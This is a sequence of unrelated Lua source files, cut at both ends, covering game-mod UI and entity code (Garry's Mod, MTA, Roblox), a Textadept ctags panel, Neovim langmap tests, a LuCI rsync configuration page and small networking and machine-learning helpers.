self:GetPos() local Ang = self:GetAngles() local Ang2 = self:GetAngles() surface.SetFont("Trebuchet24") Ang:RotateAroundAxis(Ang:Up(), 90) Ang2:RotateAroundAxis(Ang2:Up(), 90) Ang2:RotateAroundAxis(Ang2:Forward(), 90) local PrinterWidth = 130 local FrontHeight = 40 local BorderWidth = 20 local BorderColor = self.Display.Border or Color(255, 0, 0) local BackgroundColor = self.Display.Background or Color(255, 100, 100) local TextColor = self.Display.Text or Color(255, 255, 255) local SingleDouble = -PrinterWidth + (BorderWidth * 2) local prog = math.ceil(Lerp(self:GetPrintingProgress() / math.max(self.Print.Time - (5 * self:GetBatteries()), 1), 0, 100)) local err = self:PrinterError() cam.Start3D2D(Pos + Ang:Up() * 11.5, Ang, 0.11) draw.RoundedBox(2, -PrinterWidth, -PrinterWidth, PrinterWidth * 2, PrinterWidth * 2, BorderColor) draw.RoundedBox(2, -PrinterWidth + BorderWidth, -PrinterWidth + BorderWidth, (PrinterWidth * 2) - (BorderWidth * 2), (PrinterWidth * 2) - (BorderWidth * 2), BackgroundColor) draw.WordBox(2, SingleDouble, SingleDouble + (40 * 0), "Money: $" .. string.Comma(self:GetStoredMoney()), "Trebuchet24", BorderColor, TextColor) draw.WordBox(2, SingleDouble, SingleDouble + (40 * 1), "Progress: " .. prog .. "%", "Trebuchet24", BorderColor, TextColor) draw.WordBox(2, SingleDouble, SingleDouble + (40 * 2), "Ink: " .. self:GetInk(), "Trebuchet24", BorderColor, TextColor) draw.WordBox(2, SingleDouble, SingleDouble + (40 * 3), "Batteries: " .. self:GetBatteries(), "Trebuchet24", BorderColor, TextColor) if err then draw.WordBox(2, SingleDouble, SingleDouble + (40 * 4), err, "Trebuchet24", BorderColor, TextColor) end cam.End3D2D() cam.Start3D2D(Pos + (Ang2:Up() * 17) + (Ang2:Right() * 4), Ang2, 0.11) draw.RoundedBox(2, -PrinterWidth, -PrinterWidth, PrinterWidth * 2, FrontHeight * 2, BorderColor) draw.RoundedBox(2, -PrinterWidth + BorderWidth, -PrinterWidth + BorderWidth, (PrinterWidth * 2) - (BorderWidth * 2), (FrontHeight * 2) - (BorderWidth * 2), BackgroundColor) draw.WordBox(2, SingleDouble, SingleDouble - 13, self.PrintName, "Trebuchet24", BorderColor, TextColor) cam.End3D2D() end end
-- Copyright 2016-2021 Gabriel Dubatti. See LICENSE. -- -- This module shows the tags of the current file using the "lists" toolbar -- -- ** This module is used when USE_LISTS_PANEL is true ** -- if toolbar then local itemsgrp, firsttag local Proj = Proj local Util = Util local data= Proj.data local function list_clear() --remove all items toolbar.tag_list= {} toolbar.tag_listedfile= "" toolbar.tag_list_find= "" toolbar.listright= toolbar.listwidth-3 toolbar.sel_left_bar(itemsgrp,true) --empty items group firsttag= nil end local function ctags_create_cb() --LSTSEL_CREATE_CB: create callback --items group: fixed width=300 / height=use buttons + vertical scroll itemsgrp= toolbar.addgroup(toolbar.GRPC.ONLYME|toolbar.GRPC.EXPAND, toolbar.GRPC.LAST|toolbar.GRPC.ITEMSIZE|toolbar.GRPC.SHOW_V_SCROLL, 0, 0, true) toolbar.sel_left_bar(itemsgrp) toolbar.setdefaulttextfont() list_clear() if actions then actions.add("filter_ctaglist", 'Filter Ctag _List', toolbar.list_find_sym, Util.KEY_ALT.."f6", "edit-find") end end local function gototag(cmd) Proj.goto_filesview() local linenum= toolbar.getnum_cmd(cmd) Util.goto_line(buffer, linenum) buffer:vertical_center_caret() end local function list_addtag(tagtext, line, ext_fields) --add an item to the list local bicon= "t_var" local extra if ext_fields:find('.-\t.+') then ext_fields,extra=ext_fields:match('(.-)\t(.+)') end if extra and extra:find('.-\t.+') then extra=extra:match('(.-)\t.+') end if ext_fields == "f" then tagtext= tagtext.." ( )" bicon="t_func" elseif ext_fields == "d" then bicon="t_def" elseif ext_fields == "t" then bicon="t_type" elseif ext_fields == "s" then tagtext= "struct "..tagtext bicon="t_struct" elseif ext_fields == "m" and extra then tagtext= extra.."."..tagtext bicon="t_struct" end local gotag= "gotag"..#toolbar.tag_list.."#"..line toolbar.tag_list[#toolbar.tag_list+1]= {gotag, tagtext, bicon} end local function filter_ctags() --show the tags that pass the filter local rowcol= toolbar.cfg.backcolor_erow firsttag= nil toolbar.sel_left_bar(itemsgrp,true) --empty items group toolbar.listtb_y= 3 if #toolbar.tag_list == 0 then toolbar.list_addinfo('No CTAG entry found in this file') else local filter= Util.escape_filter(toolbar.tag_list_find) local n= 0 local w= toolbar.listwidth-13 for i=1,#toolbar.tag_list do --{gotag, tagtext, bicon} local tagtext= toolbar.tag_list[i][2] if filter == '' or tagtext:match(filter) then local gotag= toolbar.tag_list[i][1] local bicon= toolbar.tag_list[i][3] toolbar.list_add_txt_ico(gotag, tagtext, "", false, gototag, bicon, (i%2==1), 0, 0, 0, w) if not firsttag then firsttag= gotag end n= n+1 end end if n == 0 then toolbar.list_addinfo('No CTAG entry match the filter') else toolbar.list_add_separator() end end end local function load_ctags() --ignore project views if Proj and Proj.isHiddenTabBuf(buffer) then return end list_clear() --title group toolbar.list_init_title() --add a resize handle local bname= buffer.filename if bname == nil then toolbar.list_addinfo('No filename',true) return end if Proj == nil then toolbar.list_addinfo('The project module is not installed') return end if not data.is_open then toolbar.list_addinfo('No open project',true) return end local tag_files = {} if #data.proj_files > 0 then for row= 1, #data.proj_files do local ftype= data.proj_filestype[row] if ftype == Proj.PRJF_CTAG then tag_files[ #tag_files+1 ]= data.proj_files[row] end end end if #tag_files < 1 then toolbar.list_addinfo('No CTAG file found in the project') return end toolbar.tag_listedfile= bname local fname= bname:match('[^/\\]+$') -- filename only toolbar.list_addbutton("view-refresh", "Update Ctag List", toolbar.list_toolbar_reload) toolbar.list_addaction("filter_ctaglist") toolbar.list_addinfo(fname, true) for i = 1, #tag_files do local dir = tag_files[i]:match('^.+[/\\]') local f = io.open(tag_files[i]) for line in f:lines() do local tag, file, linenum, ext_fields = line:match('^([_.%w]-) *\t(.-)\t(.-);"\t?(.*)$') if tag and (file == bname) then --only show current file if not file:find('^%a?:?[/\\]') then file = dir..file end if linenum:find('^/') then linenum = linenum:match('^/^(.+)$/$') end if linenum then list_addtag(tag, linenum, ext_fields) end end end f:close() end filter_ctags() end function toolbar.list_find_sym() if not toolbar.list_tb then toolbar.list_toolbar_onoff() end toolbar.select_list("ctaglist",true) --activate this list local orgfind = toolbar.tag_list_find local word = '' r,word= ui.dialogs.inputbox{title = 'Tag search', width = 400, text = toolbar.tag_list_find} toolbar.tag_list_find= '' if r == 1 then toolbar.tag_list_find= word end if orgfind ~= toolbar.tag_list_find then --filter changed: update filter_ctags() if firsttag and toolbar.tag_list_find ~= '' then gototag(firsttag) end end end function toolbar.list_toolbar_reload() if toolbar.list_tb then local cmd --locate project RUN command that updates TAGS (ctags) if Proj then if #data.proj_filestype > 0 then for r=1, #data.proj_filestype do if data.proj_filestype[r] == Proj.PRJF_RUN then if data.proj_files[r]:match('ctags') then cmd= data.proj_files[r] break end end end end end if cmd then Proj.run_command(cmd) else load_ctags() end end end local function ctags_update_cb(reload) --LSTSEL_UPDATE_CB: update callback (parameter: reload == FALSE for VIEW/BUFFER_AFTER_SWITCH) --when switching buffers/view: update only if the current buffer filename change if reload or (toolbar.tag_listedfile ~= buffer.filename) then load_ctags() end end local function ctags_showlist_cb(show) --LSTSEL_SHOW_CB: the list has been shown/hidden (parameter: show) toolbar.sel_left_bar(itemsgrp) toolbar.showgroup(show) end function toolbar.ctaglist_update() --the CTAG file was regenerated: reload if visible if toolbar.islistshown("ctaglist") then load_ctags() end end toolbar.registerlisttb("ctaglist", "Ctag List", "t_struct", ctags_create_cb, ctags_update_cb, ctags_showlist_cb, nil) end
--ZFUNC-readargsfile-v1 local function readargsfile( filepath ) --> args, err --ZFUNC-appendall-v1 local function appendall( arr, oth ) --> arr for _, v in ipairs( oth ) do table.insert( arr, v ) end return arr end --ZFUNC-readlines-v1 local function readlines( filepath ) local f, err = io.open( filepath, "r" ) if err then return nil, err end local strlst = {} for line in f:lines() do table.insert( strlst, line ) end local res, err = f:close() if err then return nil, err end return strlst end --ZFUNC-rmprefix-v1 local function rmprefix( str, prefix ) local prefixlen = string.len( prefix ) local startsub = string.sub( str, 1, prefixlen ) if startsub == prefix then return string.sub( str, prefixlen + 1 ) else return str end end --ZFUNC-shellsplit-v1 local function shellsplit( line ) --> args --ZFUNC-trim-v1 local function trim( str ) local n = str:find( "%S" ) return n and str:match( ".*%S" ) or "" end --ZFUNC-utf8codes-v1 local function utf8codes( str ) return str:gmatch( "[%z\1-\127\194-\244][\128-\191]*" ) end local function isspace( str ) return str == " " or str == "\t" or str == "\r" or str == "\n" end line = trim( line ) local args = {} local buff = {} local escaped, doubleQ, singleQ, backQ = false, false, false, false for r in utf8codes( line ) do if escaped then----------------------------------------------------------- table.insert( buff, r ) escaped = false elseif r == '\\' then----------------------------------------------------- if singleQ then table.insert( buff, r ) else escaped = true end elseif isspace( r ) then-------------------------------------------------- if singleQ or doubleQ or backQ then table.insert( buff, r ) else table.insert( args, table.concat( buff ) ) buff = {} end elseif r == "`" then------------------------------------------------------ if singleQ or doubleQ then table.insert( buff, r ) else backQ = not backQ end elseif r == '"' then------------------------------------------------------ if singleQ or backQ then table.insert( buff, r ) else doubleQ = not doubleQ end elseif r == "'" then------------------------------------------------------ if doubleQ or backQ then table.insert( buff, r ) else singleQ = not singleQ end else---------------------------------------------------------------------- table.insert( buff, r ) end end if #buff > 0 then table.insert( args, table.concat( buff ) ) end return args end local function appendtolast( tab, i, j ) local val = tab[ #tab ] or "" val = val..i..j tab[ #tab ] = val return tab end local lines, err = readlines( filepath ) if err then return nil, err end local args = {} for i, line in ipairs( lines ) do if #line == 0 then --we ignore empty lines elseif line:match( "^#" ) then --we ignore comments elseif line:match( "^$ " ) then appendall( args, shellsplit( rmprefix( line, "$ " ) ) ) elseif line:match( "^| " ) then appendtolast( args, "", rmprefix( line, "| " ) ) elseif line:match( "^|= " ) then appendtolast( args, "=", rmprefix( line, "|= " ) ) elseif line:match( "^|s " ) then appendtolast( args, " ", rmprefix( line, "|s " ) ) elseif line:match( "^|t " ) then appendtolast( args, "\t", rmprefix( line, "|t " ) ) elseif line:match( "^|n " ) then appendtolast( args, "\n", rmprefix( line, "|n " ) ) else table.insert( args, line ) end end return args end return readargsfile
local socket = require("ljsocket") local host = "www.freebsd.no" local socket = assert(socket.create("inet", "stream", "tcp")) assert(socket:set_blocking(false)) assert(socket:connect(host, "http")) while true do if socket:is_connected() then assert(socket:send( "GET / HTTP/1.1\r\n".. "Host: "..host.."\r\n".. "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0\r\n".. "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n".. "Accept-Language: nb,nb-NO;q=0.9,en;q=0.8,no-NO;q=0.6,no;q=0.5,nn-NO;q=0.4,nn;q=0.3,en-US;q=0.1\r\n".. --"Accept-Encoding: gzip, deflate\r\n".. "DNT: 1\r\n".. "Connection: keep-alive\r\n".. "Upgrade-Insecure-Requests: 1\r\n".. "\r\n" )) local str = "" local total_length while true do local chunk, err = socket:receive() if chunk then str = str .. chunk if not total_length then total_length = tonumber(str:match("Content%-Length: (%d+)")) end if #str >= total_length then print(str) return end elseif err ~= "timeout" then error(err) end end else socket:poll_connect() end end
-- -- Created by IntelliJ IDEA. -- User: nander -- Date: 02/03/2019 -- Time: 11:25 -- To change this template use File | Settings | File Templates. -- local function draw(x,y,character) local img = RESOURCES.roles['police'] love.graphics.draw(img, x, y, 0, 8, 8, img:getWidth()/2, img:getHeight()/2 ) end return function (x, y, count) if count > 0 then draw(x,y) end end
local LSTM, parent = torch.class('cudnn.LSTM', 'cudnn.RNN') function LSTM:__init(inputSize, hiddenSize, numLayers, batchFirst, dropout, rememberStates) parent.__init(self,inputSize, hiddenSize, numLayers, batchFirst, dropout, rememberStates) self.mode = 'CUDNN_LSTM' self:reset() end
local Workspace = game:GetService("Workspace") local Packages = script:FindFirstAncestor("CmdrAdditions").Packages local UI = script:FindFirstAncestor("UI") local Components = UI.Components local Roact = require(Packages.Roact) local Flipper = require(Packages.Flipper) local RoactFlipper = require(Packages.RoactFlipper) local Util = require(Packages.Util) local CmdrContext = require(UI.CmdrContext) local RoundedRectangle = require(Components.RoundedRectangle) local ContentTypes = require(script.Parent.ContentTypes) local WindowNavbar = require(script.Parent.WindowNavbar) local Camera = Workspace.CurrentCamera local Window = Roact.PureComponent:extend("Window") function Window:init() self.Motor = Flipper.SingleMotor.new(0) self.Size, self.SetSize = Roact.createBinding(self.props.InitialSize) self.Position, self.SetPosition = Roact.createBinding((Camera.ViewportSize - self.props.InitialSize) / 2) end function Window:didMount() self.Motor:setGoal( Flipper.Spring.new(1, { frequency = 5, dampingRatio = 1 }) ) end function Window:close() if not self.IsClosing then self.IsClosing = true self.Motor:setGoal( Flipper.Spring.new(0, { frequency = 5, dampingRatio = 0.85 }) ) self.Motor:onComplete(self.props.Destroy) end end function Window:willUnmount() if self.Listener then self.Listener:Disconnect() end end function Window:render() return Roact.createElement(CmdrContext.Consumer, { render = function(cmdr) local transparency = RoactFlipper.getBinding(self.Motor):map(function(value) return 1 - value end) return Roact.createElement(RoundedRectangle, { Radius = 8, Color = Color3.new(0, 0, 0), Transparency = transparency:map(function(value) return Util.Math.lerp(0.5, 1, value) end), Size = self.Size:map(function(value) return UDim2.new(0, value.X, 0, value.Y) end), Position = self.Position:map(function(value) return UDim2.new(0, value.X, 0, value.Y) end), Active = true }, { Navbar = Roact.createElement(WindowNavbar, { Title = self.props.Title, Icon = self.props.Icon, Transparency = transparency, Move = function(offset) self.SetPosition(self.Position:getValue() + offset) end, Close = function() self:close() end }), Content = Roact.createElement("Frame", { Size = UDim2.new(1, 0, 1, -34), Position = UDim2.new(0, 0, 1, 0), AnchorPoint = Vector2.new(0, 1), ClipsDescendants = true, BackgroundTransparency = 1 }, { Element = Roact.createElement(ContentTypes[self.props.Type], { Transparency = transparency, Stream = cmdr.CmdrAdditions.Streams:GetStream(self.props.Stream) }) }) }) end }) end return Window
object_mobile_wod_reanimated_witch_03 = object_mobile_shared_wod_reanimated_witch_03:new { } ObjectTemplates:addTemplate(object_mobile_wod_reanimated_witch_03, "object/mobile/wod_reanimated_witch_03.iff")
local M = {} local skynet = require("skynet") local udpdAddr local function getUdpdAddr() if udpdAddr == nil then udpdAddr = skynet.queryservice("game/kcpudp/udpd") end return udpdAddr end function M.pushMsg(pid,sMsg,tMsg) skynet.send(getUdpdAddr(),"lua","pushMsg","",pid,sMsg,tMsg) end function M.updatePidFrom(from,pid) skynet.send(getUdpdAddr(),"lua","updatePidFrom",from,pid) end return M
return function() local splitPath = require(script.Parent.splitPath) it("should return an array of each part of the path", function() local root = Instance.new("Folder") local parts = splitPath("foo/bar/baz", root) expect(#parts).to.equal(3) expect(parts[1]).to.equal("foo") expect(parts[2]).to.equal("bar") expect(parts[3]).to.equal("baz") end) it("should set the first item to the root if starting with a slash", function() local root = Instance.new("Folder") local parts = splitPath("/foo", root) expect(#parts).to.equal(2) expect(parts[1]).to.equal(root) expect(parts[2]).to.equal("foo") end) end
--[[by KGHX 2019.11]]-- local fs = require "nixio.fs" local state = (luci.sys.call("pidof rsync > /dev/null") == 0) if state then state_msg = "<b><font color=\"green\">" .. translate("Running") .. "</font></b>" else state_msg = "<b><font color=\"red\">" .. translate("Not running") .. "</font></b>" end m = Map("rsyncd", translate("Rsync server") .. state_msg) s = m:section(TypedSection, "base", translate("rsync is an open source utility that provides fast incremental file transfer.")) s.addremove = false s.anonymous = true s:tab("general", translate("General Settings")) s:tab("conf1", translate("Server configuration")) s:tab("conf2", translate("Account list")) s:tab("conf3", translate("Password file")) en = s:taboption("general", Flag, "enabled", translate("Enabled")) en.rmempty = false local file1 = "/etc/rsyncd.conf" cf1 = s:taboption("conf1", Value, "_tmp1") cf1.description = translate("This is the content of the file '/etc/rsyncd.conf'. Make changes as needed, Take effect immediately after saving & Apply.") cf1.template = "cbi/tvalue" cf1.rows = 20 cf1.wrap = "off" cf1.cfgvalue = function(self, section) return fs.readfile(file1) or "" end cf1.write = function(self, section, value) fs.writefile(file1, value:gsub("\r\n", "\n")) luci.util.exec("/etc/init.d/rsyncd restart >/dev/null 2>&1") end local file2 = "/etc/rsyncd.secrets" cf2 = s:taboption("conf2", Value, "_tmp2") cf2.description = translate("This is the content of the file '/etc/rsyncd.secrets'. Make changes as needed.") cf2.template = "cbi/tvalue" cf2.rows = 20 cf2.wrap = "off" cf2.cfgvalue = function(self, section) return fs.readfile(file2) or "" end cf2.write = function(self, section, value) fs.writefile(file2, value:gsub("\r\n", "\n")) end local file3 = "/etc/rsyncd.password" cf3 = s:taboption("conf3", Value, "_tmp3") cf3.description = translate("This is the content of the file '/etc/rsyncd.password'. Make changes as needed.") cf3.template = "cbi/tvalue" cf3.rows = 20 cf3.wrap = "off" cf3.cfgvalue = function(self, section) return fs.readfile(file3) or "" end cf3.write = function(self, section, value) fs.writefile(file3, value:gsub("\r\n", "\n")) end return m
local API = { script:GetCustomProperty("Team1"), script:GetCustomProperty("Team2"), script:GetCustomProperty("Team3"), script:GetCustomProperty("Team4"), nil } return API
local helpers = require('test.functional.helpers')(after_each) local eq, neq, call = helpers.eq, helpers.neq, helpers.call local eval, feed, clear = helpers.eval, helpers.feed, helpers.clear local command, insert, expect = helpers.command, helpers.insert, helpers.expect local feed_command = helpers.feed_command local curwin = helpers.curwin describe("'langmap'", function() before_each(function() clear() insert('iii www') command('set langmap=iw,wi') feed('gg0') end) it("converts keys in normal mode", function() feed('ix') expect('iii ww') feed('whello<esc>') expect('iii helloww') end) it("gives characters that are mapped by :nmap.", function() command('map i 0x') feed('w') expect('ii www') end) describe("'langnoremap' option.", function() before_each(function() command('nmapclear') end) it("'langnoremap' is by default ON", function() eq(1, eval('&langnoremap')) end) it("Results of maps are not converted when 'langnoremap' ON.", function() command('nmap x i') feed('xdl<esc>') expect('dliii www') end) it("applies when deciding whether to map recursively", function() command('nmap l i') command('nmap w j') feed('ll') expect('liii www') end) it("does not stop applying 'langmap' on first character of a mapping", function() command('1t1') command('1t1') command('goto 1') command('nmap w j') feed('iiahello') expect([[ iii www iii www ihelloii www]]) end) it("Results of maps are converted when 'langnoremap' OFF.", function() command('set nolangnoremap') command('nmap x i') feed('xdl<esc>') expect('iii ww') end) end) -- e.g. CTRL-W_j , mj , 'j and "jp it('conversions are applied to keys in middle of command', function() -- Works in middle of window command feed('<C-w>s') local origwin = curwin() feed('<C-w>i') neq(origwin, curwin()) -- Works when setting a mark feed('yy3p3gg0mwgg0mi') eq({0, 3, 1, 0}, call('getpos', "'i")) eq({0, 1, 1, 0}, call('getpos', "'w")) feed('3dd') -- Works when moving to a mark feed("'i") eq({0, 1, 1, 0}, call('getpos', '.')) -- Works when selecting a register feed('qillqqwhhq') eq('hh', eval('@i')) eq('ll', eval('@w')) feed('a<C-r>i<esc>') expect('illii www') feed('"ip') expect('illllii www') -- Works with i_CTRL-O feed('0a<C-O>ihi<esc>') expect('illllii hiwww') end) describe('exceptions', function() -- All "command characters" that 'langmap' does not apply to. -- These tests consist of those places where some subset of ASCII -- characters define certain commands, yet 'langmap' is not applied to -- them. -- n.b. I think these shouldn't be exceptions. it(':s///c confirmation', function() command('set langmap=yn,ny') feed('qa') feed_command('s/i/w/gc') feed('yynq') expect('wwi www') feed('u@a') expect('wwi www') eq(':s/i/w/gc\ryyn', eval('@a')) end) it('insert-mode CTRL-G', function() command('set langmap=jk,kj') command('d') insert([[ hello hello hello]]) expect([[ hello hello hello]]) feed('qa') feed('gg3|ahello<C-G>jx<esc>') feed('q') expect([[ helhellolo helxlo hello]]) eq('gg3|ahellojx', eval('@a')) end) it('command-line CTRL-\\', function() command('set langmap=en,ne') feed(':<C-\\>e\'hello\'\r<C-B>put ="<C-E>"<CR>') expect([[ iii www hello]]) end) it('command-line CTRL-R', function() helpers.source([[ let i_value = 0 let j_value = 0 call setreg('i', 'i_value') call setreg('j', 'j_value') set langmap=ij,ji ]]) feed(':let <C-R>i=1<CR>') eq(1, eval('i_value')) eq(0, eval('j_value')) end) -- it('-- More -- prompt', function() -- -- The 'b' 'j' 'd' 'f' commands at the -- More -- prompt -- end) it('ask yes/no after backwards range', function() command('set langmap=yn,ny') feed('dd') insert([[ hello there these are some lines ]]) feed_command('4,2d') feed('n') expect([[ hello there these are some lines ]]) end) it('prompt for number', function() command('set langmap=12,21') helpers.source([[ let gotten_one = 0 function Map() let answer = inputlist(['a', '1.', '2.', '3.']) if answer == 1 let g:gotten_one = 1 endif endfunction nnoremap x :call Map()<CR> ]]) feed('x1<CR>') eq(1, eval('gotten_one')) command('let g:gotten_one = 0') feed_command('call Map()') feed('1<CR>') eq(1, eval('gotten_one')) end) end) it('conversions are not applied during setreg()', function() call('setreg', 'i', 'ww') eq('ww', eval('@i')) end) it('conversions not applied in insert mode', function() feed('aiiiwww') expect('iiiiwwwii www') end) it('conversions not applied in search mode', function() feed('/iii<cr>x') expect('ii www') end) it('conversions not applied in cmdline mode', function() feed(':call append(1, "iii")<cr>') expect([[ iii www iii]]) end) local function testrecording(command_string, expect_string, setup_function, expect_macro) if setup_function then setup_function() end feed('qa' .. command_string .. 'q') expect(expect_string) eq(expect_macro or helpers.funcs.nvim_replace_termcodes(command_string, true, true, true), eval('@a')) if setup_function then setup_function() end -- n.b. may need nvim_replace_termcodes() here. feed('@a') expect(expect_string) end local function local_setup() -- Can't use `insert` as it uses `i` and we've swapped the meaning of that -- with the `langmap` setting. command('%d') command("put ='hello'") command('1d') end it('does not affect recording special keys', function() testrecording('A<BS><esc>', 'hell', local_setup) testrecording('>><lt><lt>', 'hello', local_setup) command('nnoremap \\ x') testrecording('\\', 'ello', local_setup) testrecording('A<C-V><BS><esc>', 'hello<BS>', local_setup) end) pending('Translates modified keys correctly', function() command('nnoremap <M-i> x') command('nnoremap <M-w> l') testrecording('<M-w>', 'ello', local_setup) testrecording('<M-i>x', 'hllo', local_setup) end) pending('handles multi-byte characters', function() command('set langmap=ïx') testrecording('ï', 'ello', local_setup) -- The test below checks that what's recorded is correct. -- It doesn't check the behaviour, as in order to cause some behaviour we -- need to map the multi-byte character, and there is a known bug -- preventing this from working (see the test below). command('set langmap=xï') testrecording('x', 'hello', local_setup) end) pending('handles multibyte mappings', function() -- See this vim issue for the problem, may as well add a test. -- https://github.com/vim/vim/issues/297 command('set langmap=ïx') command('nnoremap x diw') testrecording('ï', '', local_setup) command('set nolangnoremap') command('set langmap=xï') command('nnoremap ï ix<esc>') testrecording('x', 'xhello', local_setup) end) -- This test is to ensure the behaviour doesn't change from what's already -- around. I (hardenedapple) personally think this behaviour should be -- changed. it('treats control modified keys as characters', function() command('nnoremap <C-w> iw<esc>') command('nnoremap <C-i> ii<esc>') testrecording('<C-w>', 'whello', local_setup, eval([["\<*C-w>"]])) testrecording('<C-i>', 'ihello', local_setup, eval([["\<*C-i>"]])) end) end)
-- Routine for NPC "Royalguard (I)" loadRoutine = function(R, W) if (W:isConditionFulfilled("boss","BossRoyalguards")) then R:setDisposed() return end if (not W:isConditionFulfilled("default", "king_open")) then R:setTilePosition(13, 20) R:setReloadEnabled(true) R:setLooped(false) R:setFacingDown() else R:setReloadEnabled(false) R:setTilePosition(15, 7) R:setLooped(false) R:goToTile(13, 7) R:goToTile(15, 7) R:setFacingDown() end end
-- Main Mechanic window wMechanic, bMechanicOne, bMechanicOne, bMechanicThree, bMechanicFour, bMechanicFive, bMechanicSix, bMechanicClose = nil -- Tyre change window wTyre, bTyreOne, bTyreTwo, bTyreThree, bTyreFour, bTyreClose = nil -- Paint window wPaint, iColour1, iColour2, iColour3, iColour4, colourChart, bPaintSubmit, bPaintClose = nil -- Paintjob window wPaintjob, bPaintjob1, bPaintjob2, bPaintjob3, bPaintjob4, bPaintjobClose = nil -- Upgrade window wUpgrades, gUpgrades, bUpgradesClose = nil currentVehicle = nil vehicleWithPaintjob = { [534] = true, [535] = true, [558] = true, [559] = true, [560] = true, [561] = true, [562] = true, [565] = true } function displayMechanicJob() outputChatBox("#FF9933Use the #FF0000right-click menu#FF9933 to view the services you can provide.", 255, 194, 15, true) end local noTyres = { Boat = true, Helicopter = true, Plane = true, Train = true } local noUpgrades = { Boat = true, Helicopter = true, Plane = true, Train = true, BMX = true } function mechanicWindow(vehicle) local job = getElementData(getLocalPlayer(), "job") if (job==5)then if not vehicle then outputChatBox("You must select a vehicle.", 255, 0, 0) else currentVehicle = vehicle -- Window variables local Width = 200 local Height = 450 local screenwidth, screenheight = guiGetScreenSize() local X = (screenwidth - Width)/2 local Y = (screenheight - Height)/2 if not (wMechanic) then -- Create the window wMechanic = guiCreateWindow(X, Y, Width, Height, "Mechanic Options.", false ) local y = 0.05 -- Body work bMechanicOne = guiCreateButton( 0.05, y, 0.9, 0.1, "Bodywork Repair - $50", true, wMechanic ) addEventHandler( "onClientGUIClick", bMechanicOne, bodyworkTrigger, false) y = y + 0.1 -- Service bMechanicTwo = guiCreateButton( 0.05, y, 0.9, 0.1, "Full Service - $100", true, wMechanic ) addEventHandler( "onClientGUIClick", bMechanicTwo, serviceTrigger, false) y = y + 0.1 -- Tyre Change if not noTyres[getVehicleType(vehicle)] then bMechanicThree = guiCreateButton( 0.05, y, 0.9, 0.1, "Tyre Change - $10", true, wMechanic ) addEventHandler( "onClientGUIClick", bMechanicThree, tyreWindow, false) y = y + 0.1 end -- Recolour bMechanicFour = guiCreateButton( 0.05, y, 0.9, 0.1, "Repaint Vehicle - $100", true, wMechanic ) addEventHandler( "onClientGUIClick", bMechanicFour, paintWindow, false) y = y + 0.1 -- Upgrades if not noUpgrades[getVehicleType(vehicle)] and #getVehicleCompatibleUpgrades(vehicle) > 0 then bMechanicFive = guiCreateButton( 0.05, y, 0.9, 0.1, "Add Upgrade", true, wMechanic ) addEventHandler( "onClientGUIClick", bMechanicFive, upgradeWindow, false) y = y + 0.1 end -- Paintjob if vehicleWithPaintjob[getElementModel(vehicle)] then bMechanicSix = guiCreateButton( 0.05, y, 0.9, 0.1, "Paintjob - $7500", true, wMechanic ) addEventHandler( "onClientGUIClick", bMechanicSix, paintjobWindow, false) y = y + 0.1 end -- Close bMechanicClose = guiCreateButton( 0.05, 0.85, 0.9, 0.1, "Close", true, wMechanic ) addEventHandler( "onClientGUIClick", bMechanicClose, closeMechanicWindow, false ) showCursor(true) end end end end addEvent("openMechanicFixWindow") addEventHandler("openMechanicFixWindow", getRootElement(), mechanicWindow) -- addCommandHandler("fix", mechanicWindow, false, false) function tyreWindow() -- Window variables local Width = getVehicleType(currentVehicle) == "Bike" and 100 or 200 local Height = 300 local screenwidth, screenheight = guiGetScreenSize() local X = (screenwidth - Width)/2 local Y = (screenheight - Height)/2 if not (wTyre) then -- Create the window wTyre = guiCreateWindow(X+100, Y, Width, Height, "Select a tyre to change.", false ) if getVehicleType(currentVehicle) ~= "Bike" then -- Front left bTyreOne = guiCreateButton( 0.05, 0.1, 0.45, 0.35, "Front Left", true, wTyre ) addEventHandler( "onClientGUIClick", bTyreOne, function(button, state) if(button == "left" and state == "up") then triggerServerEvent( "tyreChange", getLocalPlayer(), currentVehicle, 1) closeMechanicWindow() end end, false) -- Back left bTyreTwo = guiCreateButton( 0.05, 0.5, 0.45, 0.35, "Back Left", true, wTyre ) addEventHandler( "onClientGUIClick", bTyreTwo, function(button, state) if(button == "left" and state == "up") then triggerServerEvent( "tyreChange", getLocalPlayer(), currentVehicle, 2) closeMechanicWindow() end end, false) -- front right bTyreThree = guiCreateButton( 0.5, 0.1, 0.45, 0.35, "Front Right", true, wTyre ) addEventHandler( "onClientGUIClick", bTyreThree, function(button, state) if(button == "left" and state == "up") then triggerServerEvent( "tyreChange", getLocalPlayer(), currentVehicle, 3) closeMechanicWindow() end end, false) -- back right bTyreFour = guiCreateButton( 0.5, 0.5, 0.45, 0.35, "Back Right", true, wTyre ) addEventHandler( "onClientGUIClick", bTyreFour, function(button, state) if(button == "left" and state == "up") then triggerServerEvent( "tyreChange", getLocalPlayer(), currentVehicle, 4) closeMechanicWindow() end end, false) else -- Front bTyreOne = guiCreateButton( 0.05, 0.1, 0.9, 0.35, "Front", true, wTyre ) addEventHandler( "onClientGUIClick", bTyreOne, function(button, state) if(button == "left" and state == "up") then triggerServerEvent( "tyreChange", getLocalPlayer(), currentVehicle, 1) closeMechanicWindow() end end, false) -- back right bTyreThree = guiCreateButton( 0.05, 0.5, 0.9, 0.35, "Back", true, wTyre ) addEventHandler( "onClientGUIClick", bTyreThree, function(button, state) if(button == "left" and state == "up") then triggerServerEvent( "tyreChange", getLocalPlayer(), currentVehicle, 2) closeMechanicWindow() end end, false) end -- Close bTyreClose = guiCreateButton( 0.05, 0.9, 0.9, 0.1, "Close", true, wTyre ) addEventHandler( "onClientGUIClick", bTyreClose, function(button, state) if(button == "left" and state == "up") then destroyElement(bTyreOne) if bTyreTwo then destroyElement(bTyreTwo) end destroyElement(bTyreThree) if bTyreFour then destroyElement(bTyreFour) end destroyElement(bTyreClose) destroyElement(wTyre) wTyre, bTyreOne, bTyreTwo, bTyreThree, bTyreFour, bTyreClose = nil end end, false) end end function previewColors() local col1 = guiGetText(iColour1) local col2 = guiGetText(iColour2) local col3 = guiGetText(iColour3) local col4 = guiGetText(iColour4) if(col1 == "") and (col2 == "") and (col3 == "") and (col4 == "") then triggerServerEvent( "colorEndPreview", getLocalPlayer(), currentVehicle) else if(col1 == "") then col1 = nil end if(col2 == "") then col2 = nil end if(col3 == "") then col3 = nil end if(col4 == "") then col4 = nil end triggerServerEvent( "colorPreview", getLocalPlayer(), currentVehicle, col1, col2, col3, col4) end end function paintWindow() -- Window variables local Width = 700 